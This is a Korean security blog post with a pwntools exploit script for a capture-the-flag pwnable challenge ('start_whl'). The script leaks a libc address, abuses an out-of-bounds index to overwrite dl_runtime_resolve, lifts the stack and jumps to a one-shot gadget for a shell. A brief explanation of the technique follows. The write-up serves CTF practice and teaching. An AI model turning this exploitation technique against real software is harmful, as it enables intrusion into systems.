cdor1's lab
WHL_CAT-security start 본문
from pwn import *
import sys
DEBUG = True
server = "127.0.0.1"
port = 11111
p = None
target = "./start_whl"
if len(sys.argv) > 1:
DEBUG = False
pass
else:
#p = remote('10.10.134.127', 30000)
p = process(target, env={'LD_PRELOAD':'./libc.so.6'})
def add(name, age, feature):
p.sendline('1')
print p.recv()
p.send(name)
print p.recv()
p.sendline(str(age))
print p.recv()
p.send(feature)
def delete(index):
p.sendline("2")
print p.recv()
p.sendline(str(index))
print p.recvuntil(recv_until)
def overwrite(index, overwrite):
p.sendline('3')
print p.recv()
p.send(str(index))
recv_until = ">>>"
print p.recv()
add('a'*20, '1234','a'*80)
overwrite(4294967290, 0)
print p.recv()
p.sendline('2')
print p.recvuntil('FEATURE : ')
leak = u64(p.recv(6).ljust(8,'\x00'))
base = leak - 0x3c4963
log.info('leak : ' + hex(leak))
log.info('base : ' + hex(base))
p.sendline('1')
p.recv()
p.sendline('3')
print p.recv()
p.sendline('0')
print p.recv()
p.sendline('3')
print p.recv()
p.sendline('a'*79)
print p.recv()
p.sendline('3')
print p.recv()
p.sendline('0')
print p.recv()
p.sendline('1')
print p.recv()
p.sendline('a'*19)
print p.recv()
p.sendline('3')
print p.recv()
p.sendline('0')
print p.recv()
p.sendline('3')
print p.recv()
p.send(p64(base+0xf0274)*10)
print p.recv()
add('a'*20, '1', p64(base+0xf0274)*10)
overwrite(4294967292, 0)
raw_input()
print p.recv()
p.sendline('2')
print p.recv()
p.sendline(str(0x5d))
p.interactive()
조건을 잘 맞추어 주면 하위 1바이트를 덮어낼 수 있는데
dl_runtime_resolve를 add rsp + 0x30, ret있는 부분으로 맞춰주게 되면
한번도 콜 된적 없던 exit()함수가 resolve함수를 통해서 libc 주소를 가져오는 과정에서 스택이 리프팅되고
후에 stack_chk_fail을 부르면서도 resolve함수를 통해 스택이 다시 리프팅되고 ret되어 우리가 써준 원샷 가젯으로 rip를 돌릴 수 있다.
overwirte dl_runtime_resolve, (stack lift, ret) * 2
'Security > Pwnable' 카테고리의 다른 글
pwnable.tw bookwriter (0) | 2017.12.18 |
---|---|
pwnable.tw breakout (0) | 2017.12.18 |
WITHCON2017 calc (0) | 2017.11.16 |
Simple Docker Command (0) | 2017.11.01 |
pwnable.tw kidding (0) | 2017.11.01 |
Comments